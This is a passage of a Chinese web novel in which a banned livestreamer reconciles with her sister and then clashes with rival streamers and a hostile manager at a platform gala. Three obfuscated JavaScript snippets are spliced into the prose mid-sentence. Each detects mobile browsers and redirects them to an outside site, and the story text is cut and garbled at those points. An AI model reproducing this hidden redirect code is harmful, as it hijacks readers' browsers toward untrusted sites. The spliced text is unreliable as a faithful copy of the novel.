林见微暗暗吃了一惊,但面上还是不动声色装着不懂的样子问道:“是电影还是电视剧?” 韦宁:“是一部体量在5-6集的电视剧,瞄准的是年轻人市场,如果拍摄审批都很顺利,可能会在明年年底面世。” 林见微:“剧本改得辛苦吗?” 韦宁似乎有些惊讶她这么问,毕竟平日里大劈叉从未对自己的事业展现过丝毫兴趣,姐妹俩每次见面,都是因为大劈叉需要钱。 “还行,剧本是给文眉导演写的,她虽然对剧本质量把关非常严苛,但从不提无理要求,只是希望在台词上字斟句酌,场景构建和故事情节上精益求精。” “剧本基本已经定稿了,现在在微调和选演员阶段,对于我来说最繁重的任务已经完成了,所以我才有机会出来和你见一面。” 说着,她非常认真地看向林见微,似乎想洞穿她的一切。 “你最近过得好吗?我看到你直播的时候出了点事情。” 何止是出了点事情啊,简直要把天都捅破了。 林见微苦笑:“没事,我在着手解决问题了,不用担心。” 韦宁眉毛微微一挑,又把大劈叉的脸仔仔细细看了一遍,心想,这还是我妹妹吗,今天太阳打西边出来了,她什么时候变得这么刚强勇敢了。 而且这都聊了半天了,也没提钱的事。 还真稀奇。 停顿半晌韦宁还是沉声问道:“怎么解决?我看公开告示都贴出来了,说因为贩卖问题产品,要对你的直播间进行罚款和封禁。” 林见微不愿透露太多,只是简单含糊地说:“我和商家在解决问题了,打算私下里找投诉人问问情况……” 话音未落,韦宁已经从藏蓝色帆布包里掏出厚厚一沓A4纸,刷地垒在桌面上。 林见微看呆了:“……这是?” 韦宁神色郑重:“我把所有和舒养酸奶有关的资料都整理打印出来了,包括所有的新闻报道、产品资质检测认证、公司概况等。” 林见微不可思议地看着她,好半晌才说:“……你为什么要……” 韦宁示意她看去,只见最上面的几张纸印着笑口集团的概况,包括注册资本、法定代表人、注册地、财务报表等。 上面还用黄色荧光笔高亮划出了一些内容。 纸张翻动发出刷刷声响,韦宁指着那些高亮的字解释说:“我把和舒养酸奶相关的资料都标记出来了,值得深入研究的地方用红笔做了批注。” “你看这里,前年的财务报表明明说公司将以面包饼干等传统食品业务作为主营业务,但公司的营业收入里,投资收入却占最大头,面包饼干的销售额只占10%不到。” “去年的财务报表里提到了舒养酸奶,但只说要小范围地试点经营,没说要在全国范围内进行投放,可是今年全国各大城市都上架了舒养酸奶。” “还有这里……” 林见微越来越惊讶,看向韦宁的目光也渐渐充满敬佩和感慨: 姐姐在忙成狗的编剧生活间隙,整理出了如此详尽的资料,实在是太令人感动了。 之前的大劈叉怎么就不知道珍惜呢! 也许是看林见微不再说话,韦宁突然停下,忧心地看过来:“我是不是说太快了?我忘了你只有高中学历。” 林见微苦笑,连忙摆手:“不不不,我能听得懂,我……我就是有些感动。谢谢你整理这些。” 然后她又郑重地说:“也谢谢你之前帮我报警,小孙警官和祁警官都告诉我了。” 韦宁愣了一下把手搭在林见微额头,自言自语道:“不烧啊,你今天是怎么了,终于知道说谢谢了。” 林见微鼻头微酸,她从小生活拮据困苦,父母很早就去世了,自己在亲戚家受尽白眼。 只有邻居家的大姐姐总是时不时地给她一些小零食,还温柔地抱住她,拍拍她的背轻声安慰说:一切都会好起来的,别怕。 邻居家的大姐姐和电影是她童年时唯一的温暖,成名后她依然时不时想起那些玻璃碴里的糖,想起姐姐温柔的安慰声。 现在,韦宁坐在她对面,桌上码着她连夜整理的厚厚一叠资料,眼睛布着细微血丝,年轻轻轻眼角却已出现细纹。 她关切地望过来,又是惊讶又是不解。 于是生平第一次,她对于自己大劈叉的身份很是开心,因为她终于尝到了一份求之不易的温暖。 “姐姐,我最近反思了不少,过去的很多事是我不对,我不该总找你借钱,也不该对你冷言相待。” “最近经历了一些事,我才明白友情亲情的可贵,直到今天我才发现你对我那么好,可我却那么糊涂不懂事。” “咱俩别再吵架了,以后好好相处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514866|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吗?” 林见微说得真诚无比,韦宁眼眶里一下子蓄满泪水。 她讶异地看着林见微,不停地摇头咋舌,不敢相信自己深陷泥潭的妹妹有一天也能幡然醒悟。 咖啡杯里的热气袅袅升腾而上,咖啡香弥漫在安静的空气里,姐妹俩互相对视,有什么东西发出一声轻微碎响,那是二人冰释前嫌的声响。 过了好一阵,热美式和拿铁渐渐冷掉,安静舒缓的背景音乐如细泉汩汩流淌,韦宁终于用手背抹掉了滑下来的眼泪,笑着点头: “好,一言为定,过去的事就过去,咱们姐妹俩以后好好相处。” 和姐姐的见面圆满结束,二人互相拥抱后,林见微回到酒店。 这是一次百感交集的见面,以至于回到酒店之后,林见微的思绪依然久久不能平复,想了好久才渐渐入睡。 第二天林见微早上七点多就起来了,今天是周六,上午十点要到会展中心,参加群蕉荟萃活动。 她特意给自己泡了一大杯特浓美式,希望用最饱满的精神状态迎接这一次的活动。 她还精心地化了个妆,粉红色的眼影让人想起樱花飘飞的浪漫初春,晶亮的卧蚕衬托着如小鹿般充满晨林雾气的眼睛。 但微微上扬的眼线又平添了几丝干练,唇釉勾勒着饱满娇俏的唇峰,一身藕粉色的裙子包裹着玲珑诱人的身形。 如果说往日的她如邻家女孩一般清纯可人,今天的她增添了几分成熟妩媚,周身散发着大明星的夺目光芒。 上午九点,一切收拾停当,林见微站在窗子前,稍稍撩起窗帘一角。 正是上班早高峰,楼下车流不息喧嚣不已,阳光透过清亮的天空倾泻而下。 林见微叫了个网约车,直接把她送到会展中心门口。 踩着裸粉色细高跟,林见微满面春风地走进大门,顺着指示牌来到二楼。 打开门,冷风嗖地蹿了出来,一间硕大的屋子横铺在眼前:靠近大门的区域摆着若干张摆着酒水小食的高圆桌,再往前是十几排椅子,围着一个音响灯光看起来颇为专业的舞台。 靠近她的高圆桌分为几个颜色:淡粉色、薄荷绿、天空蓝、瓷釉白。 头顶的一块屏幕上显示:小主播(粉丝数1w以下)请在淡粉色区域集合,中等主播(粉丝数1-10w)请在薄荷绿区域集合。 头部主播(粉丝数10w+)会依次入场进入天空蓝区域。 忠实粉丝请在瓷釉白区域集合。 林见微直到被封禁前,粉丝数是五千多一点。 我是一个小小小小主播。 想要红呀红,却怎么也红不了。 林见微轻叹一声往已经站了几个人的淡粉色区域走去。 整个房间硕大无比,淡粉色区域只占据边缘地区的一个很小很小的地方,看上去颇为寒酸。 已经站在那里的几个小主播们看上去有些百无聊赖,毕竟活动说是10点开始,但实际上准点来的只有小主播们。 那些大主播为了显示江湖地位,都不约而同地选择姗姗来迟。 几个人尴尬地互相介绍,互换了联系方式,又客套地说了些互相帮助的话,就尬在那里了。 大家大眼瞪小眼,直到林见微走过去,热情饱满地招呼了一声:“大家早上好!” 然而话音还没落下,她的下巴一下子惊掉了。 转过来的那几张脸里面,有一张尤为熟悉。 仔细看看,那不就是她粉的唱跳主播小哥哥,林波微步吗??? 33.三十三 见林见微脚步钉在原地,满面笑容也僵在脸上,众人丈二和尚摸不着头脑。 怎么的,突然掉线了? 林波微步倒是露出一个腼腆笑容,小声道:“你好啊大劈叉,久闻大名。” 林见微木讷地露出一个笑容:“你好你好,林波微步,我经常看你的视频……你怎么在这边?你的粉丝数不是早就过万了吗?” 林波微步羞赧地挠挠头:“啊哈,对,但我这不是来早了,那边没有人,”说着一指薄荷绿的区域,“我就先来这边逛逛,哦,你叫我波波就行。” 林见微:“波波,我特别特别喜欢你的舞蹈,你跳的每一支舞都特别有魅力。” 林波微步脸颊上飞起一片红晕:“谢谢谢谢,我也看过你唱歌跳舞,每一支歌舞都特别有你的个人特色。” 两个人的聊天宛然一副粉丝见面互吹现场,令其余人看了啧啧称奇。 一个圆脸的女生打破了这别开生面的粉丝碰面:“你们好我是芋头,开播有几个月了,现在有1千多粉,还在不断努力。” 另一个长瓜子脸的女生也大方介绍说:“我是南瓜,今天正好开播一个月,有两千出头的粉丝量。” 大家一一握手认识,互加微信,一圈下来又陆陆续续又来了些人,大家按照粉丝数找到自己位置。 大厅的人数在11点左右达到巅峰,约莫有近两百人围拥在前面的圆桌区域,大厅内一时间人声鼎沸,杯盏交错,主播粉丝聊得不亦乐乎。 虽然如此,代表头部主播的天空蓝区域却空无一人。 这时,灯光暗下,天空蓝变成了幽蓝色,追光灯打下,整个区域流淌着点点光斑。 众人的一片暗呼中,轻柔温婉的音乐响起,暗波流转的幽蓝色区域有一白裙女子拿着话筒缓缓转出。 她微笑地看着众人,开口时嗓音清甜:“各位,欢迎大家来到香蕉平台的群蕉荟萃活动。” “我是今天的主持人桑田,下面我来为大家介绍今天的活动内容。” “第一项:头部主播依次入场!” 话音刚落,轻柔温婉的音乐立刻转成雄浑激昂的红毯入场曲,不远处舞台上的灯光豁然亮起,上面不知何时已经铺了一条鎏金红毯。 众人纷纷拍掌惊呼,几个大粉已经迫不及待地翘首以盼。 一个红裙女子从舞台后方走来,几束追光灯从上打下,女子巧笑倩兮,向众人轻巧挥手。 待她稍稍走近,一个大粉立刻高呼:“软糖姐姐!” 然而这一声却令舞台上女子脚步一顿,脸上的笑容也有一瞬的僵硬。 这时另一个大粉说:“是小绵羊咩咩吧?” 众人一阵窃窃私语:香蕉平台的直播滤镜十分强大,很多人又都会加上瘦脸磨皮滤镜,所以上镜的脸难免有些千篇一律。 软糖姐姐和小绵羊咩咩咩都是人气榜上长期占据前十的主播,但两个人长得确实相像,许多新粉丝猛然一看根本分不出来。 就连一些主播连麦PK,也会把二人搞混,想连软糖姐姐的时候却误连了小绵羊咩咩咩。 现在走来的是小绵羊咩咩咩,本来被安排开场走已经心有不悦,又被大粉叫错名字,内心更加愤懑。 但在红毯上,几盏高功率追光灯从头顶照耀而下,小绵羊咩咩咩还是硬挤出一副笑容,朝众人挥手走来。 走到舞台前方,追光灯映在她胸口前写着“小绵羊咩咩咩”的名片卡上。 大粉们立刻发出一阵鼓掌欢呼,几个大哥甚至激动地向舞台上抛洒鲜花。 平心而论,小绵羊咩咩咩和直播间里的形象相差不大,离开了瘦脸磨皮滤镜,她确实看着圆润了一些,但比之乔碧萝等前辈,已经好太多。 大粉们心里也暗舒一口气:知道今天要见到主播真人,他们纷纷暗中担忧离开滤镜后人就不能看了。 但小绵羊咩咩确实是个班花级小美女,又有化妆和服装的加持,所以颜值在线抗打。 在舞台上走了一圈后,小绵羊咩咩咩转身走回幕后,身后又转出一人。 那人穿着一身华丽的金色亮片长裙,追光灯下璀璨夺目,大波浪披散下来,风情万种。 众人目不转睛地瞧着,直到一人喊出:“Melody?!” 紧接着一片低呼。 然后是一片窃窃私语:“她……原来长这样。”“真人也就……比路人水平稍稍高一点吧。”“但身材确实不错。”“害,都是人工的,高科技美女。” 舞台上音乐颇为响亮,麦乐鸡听不到其他人的讲话,自顾自地昂首大步向前,在舞台前定住摆了个唯我独尊的霸气pose。 麦乐鸡身后,郝施款款走了出来,一袭烈焰红裙配上高跟黑皮靴,口中横叼着一枝玫瑰。 在众人的惊呼中她在台前摆了个御姐十足的pose,甩了甩大波浪。 有一说一,郝施的面相立体度高,眉骨和山根高耸挺立,眼睛大而深邃,所以脱离滤镜后也非常抗打。 郝施下台后又陆陆续续转出许多打扮奢华的男男女女,有些人出现的时候引起满堂喝彩,有些人出现的时候则只是一阵私语:“这人是谁”“哦,是那个xxx”“哦!天啊,真人也太……” T台走秀进行了十几分钟,数十位头部主播依次亮相,然后走向天空蓝的圆桌区域。 他们优雅地拿起酒杯,朝薄荷绿和淡粉色区域投来高傲目光。 好像高贵典雅的白天鹅在俯视一群杂毛弱鸡。 灯光再次变换,天空蓝区域的主播们款款朝薄荷绿区域融了进来。 一时间杯盏交错,碰杯声和欢笑声交织一体。 淡粉色区域这边倒是无人问津,毕竟,谁在乎这群粉丝数连万都没有破的垃圾小主播呢。 林见微倒乐得清静,她今天来只想知道,倾情推荐她参会的穿皮裤的老烟枪来了没。 正当她伸着脖子四处张望时,背后突然传来两道阴沉的声音: “大劈叉?你怎么在这里!” 回过头,麦乐鸡和郝施两道如电的目光直直射来。 林见微华丽丽地笑了,昂起头颅撩了撩头发:“怎么,是不是觉得自己有眼不识泰山?” 麦乐鸡气得眉毛倒竖:“谁给你发的邀请?你账号都被封了,还有脸露面……” 话音未落一个男生不满插道:“你说话客气一些。” 麦乐鸡和郝施惊异回头,只见林波微步满面怒容冲她们扬了扬下巴。 “咦,你……”麦乐鸡瞪大了眼睛,一时不敢确认。 林波微步虽然粉丝数不到十万,但却是香蕉平台近一个月人气飙升最快的唱跳主播。 郝施连忙笑着伸出手:“你好,我是郝施,这位是我的朋友Melody。” 林波微步“哼”了一声,非常决绝地转头对林见微说:“走,咱们去别的地方转转。” 然而麦乐鸡却不依不饶:“大劈叉,你真是出息了,一个丑小鸭竟敢费尽心机混进天鹅里!” “你是来做什么的?试图获得粉丝大哥们的青睐,还是为了那张《星璨》栏目的入场券?” 林见微微微一笑:“你这只高贵的白天鹅,为什么要费心关心我这只丑小鸭想干什么?也许我只是想来看看天鹅跌落神坛中样子。” 麦乐鸡杏眼圆睁:“你、你说什么?我和郝施都是被选来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518725|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走T台红毯的头部,而你,一个一百零八线寒酸小主播,竟敢出此狂言,真是太狂妄了!” 林见微冷冷瞧着她:“哟,你以为走了T台红毯就很了不起吗,这年头审查真是松了,什么歪瓜裂枣都能被邀请上来。” “你知不知道你出场后观众席都说了什么?这位是谁?是Melody吗?不可能,Melody比这女的好看多了。等一等,她胸卡上写的,真的是Melody!天啊救命,滤镜坑死我!” 林见微模仿地惟妙惟肖,麦乐鸡气得嘴唇颤抖,鼻眼都歪了。 最后她手指颤抖地指着林见微,大吼道:“bitch!你这么狂,不是连走T台的资格都没有吗?你上去走,肯定也是嘘声一片——哦不,都没有嘘声,因为大家根本认不出你是谁!” 麦乐鸡的分贝过高,引起人群阵阵侧目,不少人都朝这边投来好奇疑惑的目光。 林见微:“我现在确实籍籍无名,但并不妨碍有粉丝大哥愿意推荐我来参加这个盛会。我一个五千多粉的小小小主播,不照样能和你们一群粉丝十万加的主播参加同一个活动?” 麦乐鸡呵呵冷笑,指着自己和郝施:“哟,某人还真不知道自己几斤几两了。我们两个是平台的头部,能走T台红毯的那种,你呢,就只配坐在下面的角落里,好像吃不到灯油的小老鼠,只配眼巴巴地看着别人吃香喝辣。” 也许是这边的动静太大,刚刚的女主持人发话了: “各位,下面将进行本次活动的第二个环节:情侣红毯。” 众人立刻议论纷纷,好奇地转头看向舞台。 这时灯光变暖,舞台上方飘洒出无数瓣粉红色花瓣,左右两侧喷出白色干冰,舞台上瞬间仙气飘飘,神秘浪漫。 香蕉平台上有不少情侣博主,都是俊男靓女或者高学历情侣,吸引了不少粉丝磕糖。 这次盛会平台特意安排了情侣红毯,专门让这些情侣博主以浪漫的方式出现。 这时林波微步突然大叫一声,一旁人都吓了一跳。 只见他捂着嘴,卷毛下的眼睛圆圆睁着:“啊呀,我差点忘了,我也要走这个红毯。” 所有人都惊异地看着他:他只是个唱跳博主,为什么要走情侣红毯? 南瓜好奇惊讶地问:“你在香蕉平台上有cp吗?” 芋头也问:“还是说你在现实生活中有女朋友?” 林波微步苦笑:“平台给我组了个cp……”突然又捂上嘴,四下看了看才放低声音说,“完了,这是能说的吗?” 麦乐鸡噗嗤一笑:“没事,今天来的都是自己人。” 林波微步这才放心续道:“可是我的搭档今天生病了没有来。” 麦乐鸡安慰道:“没事,我帮你跟主办方说一下,放心,他们能理解的。” 林波微步自始至终都没看她,盯着林见微的目光满是犹豫神色,好像有什么很重要的事情难以决定。 最终,像是下了好大决心似的,他吞吞吐吐地冲林见微说:“大劈叉老师,我有一件事想问问你……” “呃,就是,怎么说呢,你能不能帮帮我,帮我……完成这次的红毯任务?” 林见微睁大双眼,有些不可思议。 众人更是好像突然明白了什么似的,发出一阵阵起哄的坏笑声。 麦乐鸡和郝施的脸明显阴沉了一个度,麦乐鸡的唇稍止不住地颤抖,目光尖锐得能杀人。 在不远处瓷釉白区域的一个角落里,两个刚刚到场的年轻男子顺着众人目光看过来—— 谷煜的脸上立刻露出幸灾乐祸看热闹不嫌事大的神情,时闻面上一怔,眼里划过一丝不易察觉的不悦。 34.三十四 在众人震惊的目光中,林见微指着自己,有些结巴地确认道:“你,你是说,咱俩一起,去走情侣红毯??” 林波微步更加羞赧,白嫩的脸颊上飞起两片红晕,低下头不敢看林见微的眼睛。 他盯着自己脚尖,半晌点了点头,很低地“嗯”了一声。 众人起哄地鼓掌,无数双蕴着坏笑的眼睛看了过来。 甚至有人双掌在唇边围成喇叭状,高喊:“答应他!”“在一起!”“步劈叉cp!” 林见微将林波微步的神色都看在眼里——如果她再不给出答案,下一刻他就钻地缝里了。 于是她为了解围,大度地说:“好,没问题,我答应你。” 周围立刻爆发出一阵如雷欢呼,众人或吹口哨或鼓掌,庆祝这对原地组合起来的cp。 “这是提前设计好的吗??”“磕到了磕到了。”“我滴妈呀这也太惊喜浪漫了!”“平台真是有心了。” 林波微步明显错愕,他本是抱着必死的决心大胆发问的,没想到林见微竟然同意了。 突如其来的幸福让他有些招架不住,再次开口时他语音微颤: “真、真的吗,那可太好了,那,那我们现在就去后台吧。” 林见微点点头,林波微步雀跃地叫了一声,又小心翼翼地问道:“那……等会儿我能挽着你的胳膊吗?” 又是一阵起哄声,林见微笑道:“咱们去后台再商量出场方式吧。” 二人在一片鼓掌欢呼声中一前一后走向后台,林见微身形高俏走在前面,头颅高傲地扬起,林波微步在后面亦步亦趋地跟着。 宛若御帝女王和她的忠犬。 后台里十几对情侣博主已经集合完毕,林见微二人刚刚过来,就有人招呼道: “可算来了,你们排在最后,出场动作设计了吗?” 林波微步求助地看向林见微,后者微微一笑:“我有一个绝妙的点子。” 这时场控又大声催促:“大家排成两排,要上场了!” 粉红和暖黄灯光亮起,光斑随着轻柔浪漫的钢琴曲缓缓流转,干冰幻化的白雾笼罩整个舞台,一切都如梦似幻。 第一对情侣手挽手走向舞台,在一片欢呼声中跳着优美的华尔兹,在台前女生拉着男生的手,旋转几下温温柔柔地倒在男生怀中。 第二对情侣设计了古典舞,二人穿着唐装旗袍,步步生莲般朝前舞去,在台前女生搭在男生肩膀上,摆了个情侣pose,又是一阵叫好拍掌声。 后面的情侣有些乏善可陈,有些只是手挽手走到台前,随便定了个点就转回来,有些则略显尴尬,一人想拉另一人的手却惨遭拒绝,结果二人别别扭扭地走过去又走回来。 轮到林见微这一对,众人已经连看了几对乏善可陈的尴尬营业,场子一时有些冷,有些观众已经自顾自说笑起来,不再关注走秀。 然而这时,舞台灯光突然一暗,粉红暖黄色调突然不见,如梦似幻的干冰也渐渐消散。 正当众人议论纷纷时,战鼓般的咚咚声突然响起,鼓点先缓后急,渐渐如暴雨般噼里啪啦砸了下来。 舞台变成全黑,如雷鼓点响彻整个大厅,每一下都锤进众人的心跳。 然后突然之间,密集高亢的鼓点戛然而止,整个室内的灯光尽数熄灭。 伸手不见五指的黑暗中,众人纷纷惊呼。 下一瞬,鼓点声骤然响起,舞台上豁然大亮,台上赫然出现两个戏子。 左边的武生执一把长剑傲视群雄,仿若杀伐果断威风凛凛的将军。 右边的小旦面目白净唇红齿白,携一尺白绫,袅袅婷婷身如白鹤,满目深情地仰望着一旁的威武将军。 众人不由得屏住呼吸瞪大眼睛,大厅里鼓点声渐急,伴随着低沉雄浑的旋律,仿若大敌当前万马齐喑,北风猎猎旌旗翻飞。 鼓点声骤停,旋律转低,凄惶高亢的二胡声猝然响起,正是《武娘》的前奏。 小旦伴着二胡舞动起来,柔软的腰肢如细柳拂风,眉目婉转尽是温柔深情。 二胡声止,雄浑的男低音吟唱起铁骨铮铮的战前誓师,武生按剑起舞,长剑在空中劈刺转圜,挽出一朵朵凌厉剑花。 一场剑舞下来,男低音退居次位,rap唱词和着鼓点声切了进来。 武生和小旦踏着快节奏的rap,大步走向台前,一个昂首挺胸气势恢宏,一个袅袅婷婷尽是小女儿娇羞。 二人在台前定点卡位,小旦白绫一挥如水蛇般划过几个波浪,似水般的柔情。 武生长剑霍地向下一指,一手扣在腰间,傲然俯视着台下,仿佛那些早已目瞪口呆的观众是他指挥的千军万马。 也就是此时,人们才恍然发现,那眉眼英武霸气十足的武生是林见微,而一旁那柔若无骨金闺花柳的小旦是林波微步。 这一精妙绝伦的反差设计让众人彻底折服,如雷的掌声从四面八方响起,经久不息。 《武娘》的音乐还在继续,二人在定点位上又立了片刻,然后踏着节拍回身而去。 待那大杀四方的将军和他小鸟依人的小妾走远,众人才彻底回过神来,发出阵阵叫好声。 后台也炸了,二人回去后场控小姐姐不可思议地看着正手忙脚乱脱戏服的二人,又是欣喜又是赞佩: “你们这对真是太炸了!” 林见微和林波微步都有些羞涩:“还行还行。” 场控小姐姐:“你们舞技这么好,一定可以在待会儿开始的《星璨》名额争夺赛里取得好名次的,加油哦!” 林波微步挠挠头:“我会努力的,谢谢支持!” 林见微怔了一下然后说:“其实……其实我没有参赛资格,平台没有邀请我。” 林波微步&场控小姐姐&观众:“???!!!怎么可能??” 林见微不好意思地说:“我,我能不能现在报名……” 场控小姐姐:“当然可以!你舞技这么炸,不参加可惜了,我问问平台哈……” 话音未落,一旁的麦乐鸡冷冷说道:“不用问了,被封禁的人没有资格参加《星璨》名额争夺赛,而且严格来说,被封禁的人根本不能参加这次的群蕉大会。” 场控小姐姐被麦乐鸡两米八冰冷女王的气场震慑,当场呆住:“这,这……” 众人发出一片惋惜的轻叹。 这时林波微步说:“她可以参加这次的群蕉大会,我们不是规定粉丝数超过1万的主播可以带一个plus 1吗?她可以算作我的plus 1。” 众人一片“磕到了”的表情,然而糖还没来得及吃完,一旁一个高冷的男声冷冷说: “就算她是你邀请的plus 1,按规定也不能参加《星璨》名额争夺赛。” 那声音在别人听来也就只是高冷,但林见微听了直接打了个哆嗦。 章衍从人群后面转了出来,金丝眼镜后面的一双眼射着冰冷目光。 他看上去三四十岁,容长的脸上布满冰霜一样的阴沉,金丝眼镜反着锐利的光。 他的声音在电话里听着更加阴冷,仿佛淬着毒一般。 就是这个人,几天前让她去高源大厦面谈。 还威胁她:高源资本捏死你,比捏死一只蚂蚁还容易。 谷煜认识他,脸色刷地沉了下去。 “章衍,你怎么在这里?高翔呢,他也来了么?” 此话一出,众人无不低声惊呼:香蕉平台上无人不知林见微被封禁是因为她大胆披露了高翔的劣迹。 现在她和高翔的人在此处狭路相逢,等下定会有一出好戏。 一抹冷笑出现在章衍唇角,他慢悠悠地说:“少爷当然没功夫来这种活动。” 谷煜眉头皱起,拳头紧握:“这种活动?哪种活动,你说清楚!” 章衍呵呵一笑懒得答话,只是冲林见微说:“咱们终于见面了,大劈叉,你知道吗,像你这样的狂妄无知的小主播,我一年能遇见好多个。” “每个人都觉得自己有能力撬动地球,殊不知自己只不过是一只小得不能再小的蚂蚁,随随便便就可以从这个世界抹去。” “你已经被平台永久封禁了,我奉劝你现在就离场,否则,会死得更难看,懂?” 章衍气场强大至极,周围布满令人压抑窒息的低气压,然而林见微仰起头,微笑地看着他: “像你这样的,傲慢自大愚蠢无知的经理人,我一年也能遇见好多个。” “他们穿着人模狗样的西装,出入于各大高端场所,和各路大老板觥筹交错谈笑风生,久而久之以为自己和老板们是一类人,以为自己可以撬动地球。” “他们确实比蝼蚁大一点点,他们是一条狗,一条主人招之即来挥之即去的走狗,平日里摇尾乞怜邀功请赏,主人开心时就赏个骨头,不开心了就赶出去。” “我奉劝你有点自知之明,否则连自己怎么死的都不知道,懂?” 她这一通骂十分巧妙地回应了章衍的每一句话,众人无不暗暗赞叹,又为她捏了一把汗。 眼见章衍的眼神愈来愈阴沉凌厉,谷煜引开火力:“骂得好!句句都是我想说的。” “章衍,咱们的规则里可有一条,非本平台的主播和狗不得入内,你两样都占,还不快滚?” “和狗”两个字是谷煜临时杜撰的,见两人骂得阴毒至极,章衍再不能忍,大步上前,作势就要揪住谷煜衣领,大打出手。 谷煜梗着脖子,额头上青筋凸起,握紧拳头,只待章衍上来就给他一拳。 二人剑拔弩张,气氛紧张无比,这时一人慌忙上前挡在二人中间,又是陪笑又是拉扯: “二位,别冲动,有话好好说,好好说。” 跑出来的这位是个个子不高身形细瘦的中年男人,一边将猛往前冲的章衍往后推,一边挡在双拳紧握蓄势待发的谷煜面前,大叫: “二位,听我说一句,我是此次活动的总策划和负责人,周文滨。” 听了他的自报家门,二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524604|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于稍稍镇定了一下,谷煜叫道:“好啊,那你来评评理,我听听你怎么说。” 言下之意是,你要是说得不合我意,我就把你和章衍一起揍了。 周文滨一个瘦小男人夹在两个一米八大个子中间,畏畏缩缩得声音有些发颤:“两位,请容许我去给领导打个电话,一会儿就回来。” 谷煜横了他一眼:“那就在这里打。” 周文滨害怕地左看看右看看,他本打算私下汇报一下,但看这架势自己今天是要吃不了兜着走了。 犹豫再三,他艰难吞咽一下,微微颤抖地拿出手机,拨了号码。 电话响了几声,一个低沉男声接了电话:“喂。” 周文滨:“徐总,这边出了点情况,大劈叉您知道吧,她也参加群蕉荟萃了,还希望现场报名《星璨》的选拔赛……” 对面斩钉截铁地打断说:“不行,咱们平台有明文规定,劣迹艺人、主播都不能参加平台的任何活动。” 周文滨抬起头,畏惧地看了一眼谷煜——谷煜的目光里似乎藏了数把小刀,一下一下剜着周文滨的脸。 周文滨声音颤抖:“是,徐总,但是……” 这时有个人冷不丁地插话:“但是贵平台对劣迹艺人、主播的定义是什么?” 周文滨讶异抬头,只见时闻不知何时已经站在他身边。 他这么一出现,所有人都大吃一惊。 一来,他刚刚隐在人堆里,众人的注意力又都被林见微、麦乐鸡、章衍、谷煜等人吸引,没人发现他是何时进来的。 二来,娱乐圈里时闻虽然咖位不高,但知名度还是很广的,再加上他独特的清冷矜贵神秘禁欲的出尘气质,还有那张很有辨识度颜值逆天的脸,他的粉丝基数其实并不小。 三来,时闻为人低调,微博极少营业,本人也很少参加颁奖礼、晚会等各大活动,被人誉为娱乐圈老干部。 所以,虽然大家都知道香蕉平台签约了时闻,但这都过了一周了,这位老人家连半张照片都没发过,半秒直播都没开过,大家怎么也没想到,会在群蕉荟萃活动上见到他。 周文滨也认识时闻,这可是上面特意交代了许多次,千叮咛万嘱咐要好好伺候的大爷。 他望着这位传说中的老干部——只见他眼神冷冽唇角向下,熨贴平整的淡灰色衬衣泛着清冷的光。 他,之前好像没说要来。 周文滨结结巴巴地陪笑道:“时、时闻先生,不知道您大驾光临,我们有失远迎!” “平台对于劣迹艺人、主播的定义……徐总,咱们公司有章程吗?” 电话那头的人也明显愣了,语气缓和道:“劣迹指的是违背法律或者道德的行为……” 时闻冷冷打断:“我醉酒后当街打人,上了社会新闻,算不算劣迹艺人,是不是应该被香蕉平台禁止参加一切活动?” 徐总赶忙客气地说:“不不不,您事出有因,当时签约的时候不是都解释清楚了……” 时闻:“我当街打人,闹出这么大的舆论风波,都不算劣迹艺人,那大劈叉姑娘在贵平台以一己之力向恶势力宣战,勇敢揭露社会阴暗面,弘扬正能量,这么高尚的事,为什么算是劣迹?” 徐总语塞,一下子不知该如何回复,只得不停地说:“这,这个这个……” 时闻:“所以,大劈叉的事算是劣迹吗?我现在就要一个答案。” 听筒那头沉默良久,似乎是徐总在苦苦思索。 与此同时,几乎所有来参加群蕉荟萃的主播和粉丝们都拥挤进后台,原本宽敞的房间一下子变得拥挤不堪。 所有人的目光都聚焦在时闻身上,只见他目不斜视,锐利地盯着听筒,单手插兜,一副居高临下的样子。 过了很久,徐总终于幽幽地说:“时闻先生,大劈叉不算劣迹主播,但我们平台还在积极调查她直播中披露的事情的真伪……” 时闻:“所以一切都还在调查中?” 徐总:“没错。” 时闻:“既然如此,大劈叉理应享有和其他主播一样的权利,可以正常直播,并且参加香蕉平台举办的一切活动。” 徐总又沉默了许久,最终说:“她可以参加这次的群蕉荟萃活动以及《星璨》选拔赛,至于直播,在调查完成之前,我们还是不能解除封禁。” “如果您有疑虑,可以直接和我的老板,香蕉平台的CEO赵总联系。” 时闻双眉微蹙,但还是点点头:“好,那就先这样决定。” 说完他看着周文滨和章衍:“你们还有什么话要说吗?” 周文滨唯唯诺诺地哈腰:“没有了,没有了。” 